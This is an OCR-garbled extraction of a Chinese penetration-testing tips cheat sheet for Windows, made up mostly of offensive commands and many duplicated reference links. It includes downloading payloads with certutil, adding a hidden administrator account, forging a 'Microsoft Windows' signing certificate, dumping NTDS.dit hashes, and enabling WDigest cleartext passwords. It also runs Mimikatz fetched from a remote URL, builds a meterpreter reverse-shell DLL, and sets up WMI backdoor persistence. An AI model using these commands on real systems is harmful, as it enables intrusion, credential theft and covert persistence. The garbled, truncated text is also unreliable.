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$ nc -vv localhost 8001

localhost [127.0.0.1] 8001 (?) open

asd

HTTP/1.1 400 Bad Request

Date: Fri, 25 Aug 2017 12:15:25 GMT

Server: Apache/2.4.23 (Debian)

Content-Length: 301

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">

<html><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br />
</p>

<hr>

<address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address>
</body></html>
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python -m SimpleHTTPServer 80

Windows:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1l.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete
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net user test test /add
net localgroup administrators test /add
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(A dirty way of tricking users to bypass UAC)
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vbs, js, €
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makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc Z}%
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f .
signtool sign /f Root.pfx /p 12345678password test.exe {JavaScript Backdoor)
(JavaScript Phishing)

AT R ZERiRoot.cer. Root.pfx. Rootpvk. RootspclU/Cff, testexelihin %724

USRS HINinjaCopy.
https://github. 3gstudent/NinjaC
FH AR Remd, HHE-B NS localmachine: ps://github.com/3gstudent/NinjaCopy
5 thhash:

certmgr.exe -add -c Root.cer -s -r localmachine root {di Fil
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(A dirty way of tricking users to bypass UAC) esentutl /p /o ntds.dit
QuarksPwDump.exe -dhb -hist -nt c: \test\ntds.dit
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<HEAD>
<script language="VBScript"> JE L rundli32.exeml # regsvr32AE S nakdll, H 2RI &4 E 1) T H ek 2L & 4
Set WshShell = CreateObject("WScript.Shell") o
Connect="powershell -nop -windows hidden -E YthAGwAYwAuAGUAeABlAA::";{ z. F:
WshShell.Run Connect, 4, true .
eErIpE o (Code Execution of Regsvr32.exe) Windov
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WINDOWSTATE = "minimize"> 3.0 or
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rund1132 shell32.d1l,Control_RunDLL test.cpl

3)emd

control test.cpl

(4)vbs

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")

(S)js

var a = new ActiveXObject("Shell.Application");

a.ControlPanelItem("c:\\test\\test.cpl");
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ips 14. &%t Visual Studioff] £ 1 | Fisual C++:

o {&ilvexproj it

Visual Basic:

o &M vbproj LIt

Visual F#:

o &l fsproj it
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i il HKLM\S oftware\ ff) 5 i 4% A HKLM\Software\Wow6432Node)\ _

PP S (H

Vi i c\windows\Sysnative\ [¥]5: PR 144 c\windows\system32
Vi il c\windows\system32\ 5 brEf 124 c\windows\SysWOW64\
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#B4rWindows Server 2008 —

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UselLogonCredential /t REG_DWORD /d 1 /f

r

owershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

DR N RS, A a4
3%,

{(#721F—Dump Clear-Text Password after KB2871997 installed)

5%

{Use msdtc to maintain persistence)

(BiEHT—Windows T & i&17
MasscanflINmap)

https://qgist.githubusercontent.com/subTee
katz.cs

Tl n v

e mimikatzE 2 dli, @ regsvr32fk
ANZ iz 17 mimkatz

rund1132 katz.dll,EntryPoint log coffee


https://github.com/3gstudent/Pentest-and-Development-Tips#tips-11-windows%25E4%25B8%258Bcpl%25E6%2596%2587%25E4%25BB%25B6%25E4%25BB%258B%25E7%25BB%258D
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-12-windows%25E4%25B8%258B%25E9%2580%259A%25E8%25BF%2587cmd%25E8%25B0%2583%25E7%2594%25A8rundll32%25E6%2589%25A7%25E8%25A1%258C%25E4%25B8%2580%25E6%25AE%25B5%25E4%25BB%25A3%25E7%25A0%2581%25E5%25BC%25B9%25E5%259B%259Eshell
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-12-windows%25E4%25B8%258B%25E9%2580%259A%25E8%25BF%2587cmd%25E8%25B0%2583%25E7%2594%25A8rundll32%25E6%2589%25A7%25E8%25A1%258C%25E4%25B8%2580%25E6%25AE%25B5%25E4%25BB%25A3%25E7%25A0%2581%25E5%25BC%25B9%25E5%259B%259Eshell
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-13-%25E5%258F%25AF%25E9%2580%259A%25E8%25BF%2587%25E5%2586%2585%25E5%25AD%2598dump%25E8%25BF%2598%25E5%258E%259F%25E5%2587%25BAputtypageant%25E7%259A%2584%25E5%25AF%2586%25E9%2592%25A5
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-13-%25E5%258F%25AF%25E9%2580%259A%25E8%25BF%2587%25E5%2586%2585%25E5%25AD%2598dump%25E8%25BF%2598%25E5%258E%259F%25E5%2587%25BAputtypageant%25E7%259A%2584%25E5%25AF%2586%25E9%2592%25A5
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-13-%25E5%258F%25AF%25E9%2580%259A%25E8%25BF%2587%25E5%2586%2585%25E5%25AD%2598dump%25E8%25BF%2598%25E5%258E%259F%25E5%2587%25BAputtypageant%25E7%259A%2584%25E5%25AF%2586%25E9%2592%25A5
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-14-%25E9%2592%2588%25E5%25AF%25B9visual-studio%25E7%259A%2584%25E9%2592%2593%25E9%25B1%25BC%25E5%2588%25A9%25E7%2594%25A8
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-14-%25E9%2592%2588%25E5%25AF%25B9visual-studio%25E7%259A%2584%25E9%2592%2593%25E9%25B1%25BC%25E5%2588%25A9%25E7%2594%25A8
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-14-%25E9%2592%2588%25E5%25AF%25B9visual-studio%25E7%259A%2584%25E9%2592%2593%25E9%25B1%25BC%25E5%2588%25A9%25E7%2594%25A8
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-15-32%25E4%25BD%258D%25E7%25A8%258B%25E5%25BA%258F%25E5%259C%25A864%25E4%25BD%258Dwindows%25E7%25B3%25BB%25E7%25BB%259F%25E4%25B8%258B%25E6%2589%25A7%25E8%25A1%258C%25E7%259A%2584%25E6%2597%25B6%25E5%2580%2599%25E5%25A6%2582%25E6%259E%259C%25E6%259C%2589%25E5%25AF%25B9%25E6%25B3%25A8%25E5%2586%258C%25E8%25A1%25A8%25E5%2592%258C%25E6%2596%2587%25E4%25BB%25B6%25E7%259A%2584%25E6%2593%258D%25E4%25BD%259C%25E5%25AD%2598%25E5%259C%25A8%25E9%2587%258D%25E5%25AE%259A%25E5%2590%2591
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-15-32%25E4%25BD%258D%25E7%25A8%258B%25E5%25BA%258F%25E5%259C%25A864%25E4%25BD%258Dwindows%25E7%25B3%25BB%25E7%25BB%259F%25E4%25B8%258B%25E6%2589%25A7%25E8%25A1%258C%25E7%259A%2584%25E6%2597%25B6%25E5%2580%2599%25E5%25A6%2582%25E6%259E%259C%25E6%259C%2589%25E5%25AF%25B9%25E6%25B3%25A8%25E5%2586%258C%25E8%25A1%25A8%25E5%2592%258C%25E6%2596%2587%25E4%25BB%25B6%25E7%259A%2584%25E6%2593%258D%25E4%25BD%259C%25E5%25AD%2598%25E5%259C%25A8%25E9%2587%258D%25E5%25AE%259A%25E5%2590%2591
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-15-32%25E4%25BD%258D%25E7%25A8%258B%25E5%25BA%258F%25E5%259C%25A864%25E4%25BD%258Dwindows%25E7%25B3%25BB%25E7%25BB%259F%25E4%25B8%258B%25E6%2589%25A7%25E8%25A1%258C%25E7%259A%2584%25E6%2597%25B6%25E5%2580%2599%25E5%25A6%2582%25E6%259E%259C%25E6%259C%2589%25E5%25AF%25B9%25E6%25B3%25A8%25E5%2586%258C%25E8%25A1%25A8%25E5%2592%258C%25E6%2596%2587%25E4%25BB%25B6%25E7%259A%2584%25E6%2593%258D%25E4%25BD%259C%25E5%25AD%2598%25E5%259C%25A8%25E9%2587%258D%25E5%25AE%259A%25E5%2590%2591
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-16-%25E8%258E%25B7%25E5%258F%2596windows%25E5%259F%259F%25E6%258E%25A7%25E6%2589%2580%25E6%259C%2589%25E7%2594%25A8%25E6%2588%25B7hash
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-16-%25E8%258E%25B7%25E5%258F%2596windows%25E5%259F%259F%25E6%258E%25A7%25E6%2589%2580%25E6%259C%2589%25E7%2594%25A8%25E6%2588%25B7hash
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-16-%25E8%258E%25B7%25E5%258F%2596windows%25E5%259F%259F%25E6%258E%25A7%25E6%2589%2580%25E6%259C%2589%25E7%2594%25A8%25E6%2588%25B7hash
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-17-%25E5%25AF%25BC%25E5%2587%25BAwindows%25E7%25B3%25BB%25E7%25BB%259F%25E6%2598%258E%25E6%2596%2587%25E5%258F%25A3%25E4%25BB%25A4
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-17-%25E5%25AF%25BC%25E5%2587%25BAwindows%25E7%25B3%25BB%25E7%25BB%259F%25E6%2598%258E%25E6%2596%2587%25E5%258F%25A3%25E4%25BB%25A4
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-17-%25E5%25AF%25BC%25E5%2587%25BAwindows%25E7%25B3%25BB%25E7%25BB%259F%25E6%2598%258E%25E6%2596%2587%25E5%258F%25A3%25E4%25BB%25A4
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-20-%25E9%2580%259A%25E8%25BF%2587powershell%25E8%258E%25B7%25E5%258F%2596dll%25E7%259A%2584%25E5%25AF%25BC%25E5%2587%25BA%25E5%2587%25BD%25E6%2595%25B0
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3%2528Use-odbcconf-to-load-dll-&-Get-Exports-&-ETW-USB-Keylogger%2529/
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-21-%25E5%25BF%25AB%25E6%258D%25B7%25E6%2596%25B9%25E5%25BC%258F%25E7%259A%2584%25E5%258F%2582%25E6%2595%25B0%25E9%259A%2590%25E8%2597%258F%25E6%258A%2580%25E5%25B7%25A7
https://3gstudent.github.io/3gstudent.github.io/%25E6%25B8%2597%25E9%2580%258F%25E6%258A%2580%25E5%25B7%25A7-%25E5%25BF%25AB%25E6%258D%25B7%25E6%2596%25B9%25E5%25BC%258F%25E6%2596%2587%25E4%25BB%25B6%25E7%259A%2584%25E5%258F%2582%25E6%2595%25B0%25E9%259A%2590%25E8%2597%258F%25E6%258A%2580%25E5%25B7%25A7/
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-22-32%25E4%25BD%258D%25E7%25A8%258B%25E5%25BA%258F%25E8%2583%25BD%25E5%25A4%259F%25E5%25AF%25B964%25E4%25BD%258D%25E8%25BF%259B%25E7%25A8%258B%25E8%25BF%259B%25E8%25A1%258C%25E8%25BF%259C%25E7%25A8%258B%25E6%25B3%25A8%25E5%2585%25A5
https://github.com/3gstudent/CreateRemoteThread/blob/master/CreateRemoteThread32to64.cpp
https://3gstudent.github.io/3gstudent.github.io/32%25E4%25BD%258D%25E7%25A8%258B%25E5%25BA%258F%25E5%25AF%25B964%25E4%25BD%258D%25E8%25BF%259B%25E7%25A8%258B%25E7%259A%2584%25E8%25BF%259C%25E7%25A8%258B%25E6%25B3%25A8%25E5%2585%25A5%25E5%25AE%259E%25E7%258E%25B0/
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https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/Processauthority.cpp
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https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

ipsCrgleExmyiMiorIR FmsddordChangeNotify S I e 3 4% B B3 (K15 35 R 4R, ATIbAF (07 ZE A M SRR I 351 1AL S8 IR 55 2

2% https://github.com/3gstudent/msbuild-

. inline-
(72 i ——Hook PasswordChangeNotify) o
RIEE W 9 1y task/blob/master/executes%20mimikatz.xml

cmd:

ips 19. 7154 5 I ZEI0 A B B3 A AL IR A i B 2 0 K L e R 22, ) WL A R 0 A 6 B 5K 5, T DAt passs-the-hashiz i 8 gy Hof L
Hke, C:\Window

(1i%iZ——~ocal Administrator Password Solution)

5%,

ips 20. &3 powershel 3k B dlli 5 H 56 ips 21. tR3E 7 R 12 H ka5 75 {Use

tpayload it B £ 2604 % 15 2 I, IXRETCIEAE SC P IR b 2 Frpayload, 6T LAFIISRAEHEHE i R b ipayload, U2 Aiil,  BamEshdT (AT MSBuild To
Do More)

3%

ips 22. 320177 5 31 6401t BT 1 235 AOCTips 23. systemb L M Bt fe S 260 5 T 76 B0 7 e eytem i g2 X NEAS Lé‘gﬁ‘zjqﬁ’;‘;;agjzm"g

1L 24750 ) Byendierss from XSLT file))

[P ReR  E7 A il o https://gist. glthub
2B R A% 5 o

https://gist.github

Rl s 95 S B A 38 24 i FE 2 Ul '
B J5i5L: fifH SelectMyParent.exe 2%

ips 24. i@t iy 417 B % X Windows 2 45 %2 3% WinPcap, X A5t ] LA 7E Windows#k 4% _E ff il nmap 5% Tlps 25, W|ndows¥A%1TmlmmiWﬂ§«ﬂet
TMasscan Ji1: j@idpowershell R

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

7¥%2: i@idInstallUtil.e: J7:3: i#idregsvr32.exgii4: i msbuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs xS, R A7 A meﬂis i i csiexe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

5%,
CRI A 4 H 52 360541 )
CRIFT 1A 44 B i BR ) 11 58 23000
Jrike: i@iljs/vbsiFips 26. Wndows%%EPT{#ﬁﬁﬁﬂ&ﬁ)lpayloadE’luﬁVil WMI
"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx{ffi: AE BT L4 PEC
= $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
I
$Payload=([WmiClass] 'Win32_Command').Properties['Command’].Value (Hidden Alternative Data
Streams ¥ A7)
2%
(WMI Backdoor) {Study Notes Weekly
No.1(Monitor WMI &
S hashfi Sk, 16 PESCF v asiiPayload, RIS AR SEMA T PESC I i 4 2% 4 74 3: HEPRARS) ExportsToC++ & Use
s DiskCleanup bypass
- type putty.exe > ...:putty.exe UAC))>>
wmic process call create c:\test\ads\...:putty.exe
. fich I,
() kCOM A https://raw.githubusercc
4 m r
type putty.exe > \\.\C:\test\ads\COM1:putty.exe A= mkdll, ﬁﬁ]’ﬁ{,yxjch

wmic process call create \\.\C:\test\ads\COM1:putty.exe KT

R T https://raw.githubusercc
Execution-and-Process-
Injection/master/2-
CodeExecution-
Meterpreter.psl

] [ 3

type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe

5%

ips 27. Windows 7 4t ' (B 1548 42 11 % ) © I FyWMIfs
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription” PATH CommandLineEventConsumer GET __ RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __ FilterToConsumerBinding GET __RELPATH /FORMAT:list
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msf: odbcconf
to load dll
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll & Get-
Exports &
R - N ETW USB
a4 5 AL AL .
AT rund1132.exe a.dl1,Control RunbLL , H[IHJ |22k clm
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rundl132 a.dll,EntryPoint No.4(Use tracker to load

dll & Use csi to bypass
UMCI & Execute C# from

J71%3: odbcco J5i%4: Track XSLT file))
regsvr32 a.dll odbcconf.exe /a {regsvr c:\test\odbcconf.d1l1l} Tracker.exe /d test.dll /c svchost.exe ile)
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3% e tracker.exef &R 4, WIBeI R AR P A 4 B BRI Excel Applic
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rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%2@ActiveXObject('Excel.Application’);x.RegisterXLL('C:\\test\\messagebox.dll");this.close(); XWi
to
. loa
js din
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var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.d11l");
{Study Notes of
WMI Persistence
powershell using wmic.exe)
$excel = [activator]::CreatelInstance([type]::GetTypeFromProgID("Excel.Application")) {Userland registry
$excel.RegisterXLL("C:\test\messagebox.d11") hijacking)
2, <<N(.9tsh
persistence)
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xwizard processXMLFile 1.txt
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35
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ScriptingEngine = "JScript";
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Y ; . .
e G (AT e G Hijack CAccPropServicesClass and MMDeviceEnumerator)
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H

(FIHIBDFIIDLLZ NS 1)


https://github.com/3gstudent/Pentest-and-Development-Tips#tips-28-windows%25E7%25B3%25BB%25E7%25BB%259F%25E5%258F%258D%25E5%25BC%25B9meterpreter%25E7%259A%2584%25E5%25B8%25B8%25E7%2594%25A8%25E6%2596%25B9%25E6%25B3%2595
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-28-windows%25E7%25B3%25BB%25E7%25BB%259F%25E5%258F%258D%25E5%25BC%25B9meterpreter%25E7%259A%2584%25E5%25B8%25B8%25E7%2594%25A8%25E6%2596%25B9%25E6%25B3%2595
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-28-windows%25E7%25B3%25BB%25E7%25BB%259F%25E5%258F%258D%25E5%25BC%25B9meterpreter%25E7%259A%2584%25E5%25B8%25B8%25E7%2594%25A8%25E6%2596%25B9%25E6%25B3%2595
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951%25E9%2580%259A%25E8%25BF%2587rundll32%25E5%258A%25A0%25E8%25BD%25BDdll%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951%25E9%2580%259A%25E8%25BF%2587rundll32%25E5%258A%25A0%25E8%25BD%25BDdll%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951%25E9%2580%259A%25E8%25BF%2587rundll32%25E5%258A%25A0%25E8%25BD%25BDdll%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952%25E9%2580%259A%25E8%25BF%2587cpl%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952%25E9%2580%259A%25E8%25BF%2587cpl%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25953%25E9%2580%259A%25E8%25BF%2587powershell%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25953%25E9%2580%259A%25E8%25BF%2587powershell%25E5%258F%258D%25E5%25BC%25B9meterpreter
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-29-windows%25E7%25B3%25BB%25E7%25BB%259F%25E5%258A%25A0%25E8%25BD%25BDdll%25E7%259A%2584%25E6%2596%25B9%25E6%25B3%2595
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-29-windows%25E7%25B3%25BB%25E7%25BB%259F%25E5%258A%25A0%25E8%25BD%25BDdll%25E7%259A%2584%25E6%2596%25B9%25E6%25B3%2595
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-29-windows%25E7%25B3%25BB%25E7%25BB%259F%25E5%258A%25A0%25E8%25BD%25BDdll%25E7%259A%2584%25E6%2596%25B9%25E6%25B3%2595
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951rundll32
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951rundll32
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951rundll32
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952regsvr32
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952regsvr32
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952regsvr32
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25953odbcconf
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25953odbcconf
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3%2528Use-odbcconf-to-load-dll-&-Get-Exports-&-ETW-USB-Keylogger%2529/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25954tracker
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25954tracker
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25954tracker
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4%2528Use-tracker-to-load-dll-&-Use-csi-to-bypass-UMCI-&-Execute-C-from-XSLT-file%2529/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25955excelapplication-objects-registerxll-method
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25955excelapplication-objects-registerxll-method
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25955excelapplication-objects-registerxll-method
https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object'%20rel=
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25956xwizardexe
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25956xwizardexe
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25956xwizardexe
https://3gstudent.github.io/3gstudent.github.io/Use-xwizard.exe-to-load-dll/
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-30-windows-persistence
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-30-windows-persistence
https://github.com/3gstudent/Pentest-and-Development-Tips#tips-30-windows-persistence
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951bitsadmin
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951bitsadmin
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25951bitsadmin
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952mof
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952mof
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25952mof
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25953wmi
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25953wmi
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25954userland-persistence-with-scheduled-tasks
https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25955netsh
https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25956shim
https://3gstudent.github.io/3gstudent.github.io/%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595%25E4%25B8%25AD%25E7%259A%2584Application-Compatibility-Shims/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25957dll%25E5%258A%25AB%25E6%258C%2581
https://3gstudent.github.io/3gstudent.github.io/DLL%25E5%258A%25AB%25E6%258C%2581%25E6%25BC%258F%25E6%25B4%259E%25E8%2587%25AA%25E5%258A%25A8%25E5%258C%2596%25E8%25AF%2586%25E5%2588%25AB%25E5%25B7%25A5%25E5%2585%25B7Rattler%25E6%25B5%258B%25E8%25AF%2595/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25958doubleagent
https://3gstudent.github.io/3gstudent.github.io/%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595%25E4%25B8%25AD%25E7%259A%2584Application-Verifier%2528DoubleAgent%25E5%2588%25A9%25E7%2594%25A8%25E4%25BB%258B%25E7%25BB%258D%2529/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%25959waitforexe
https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259510appdomainmanager
https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259511office%25E5%258A%25A0%25E8%25BD%25BD%25E9%25A1%25B9
https://github.com/3gstudent/Office-Persistence
https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259512clr
https://github.com/3gstudent/CLR-Injection
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259513msdtc
https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259514hijack-caccpropservicesclass-and-mmdeviceenumerator
https://github.com/3gstudent/COM-Object-hijacking
https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259515hijack-explorerexe
https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/
https://github.com/3gstudent/Pentest-and-Development-Tips#%25E6%2596%25B9%25E6%25B3%259517%25E5%258A%25AB%25E6%258C%2581office%25E8%25BD%25AF%25E4%25BB%25B6%25E7%259A%2584%25E7%2589%25B9%25E5%25AE%259A%25E5%258A%259F%25E8%2583%25BD
https://3gstudent.github.io/3gstudent.github.io/%25E5%2588%25A9%25E7%2594%25A8BDF%25E5%2590%2591DLL%25E6%2596%2587%25E4%25BB%25B6%25E6%25A4%258D%25E5%2585%25A5%25E5%2590%258E%25E9%2597%25A8/

PR ALR - GBE T —"TiR MR G2 )

BB B IG—"F 5 M R ) 8 2 D)

mofcomp test.mof
https://rastamouse.me/2018/03/a-view-of-persistence/

3%

{WSC. JSRAT and WMI Backdoor) https://github.com/3gstudent/UAC-

HHGOB A7 tknotepad.exe Bypass/blob/master/Invoke-EventVwrBypass.psl

wmic /NAMESPACE:"\\root\subscription" PATH __ EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QuerylLanguage="WQL", Query="SELECT * FROM __ InstanceModificationEve
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\S
wmic /NAMESPACE:"\\root\subscription" PATH __ FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
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$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;%$i -le $out.Count-1;$i++)
{
$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
Write-host Owner: $a.Owner
}
}
}

}
Write-host [+] All done.
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Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword: 00000000
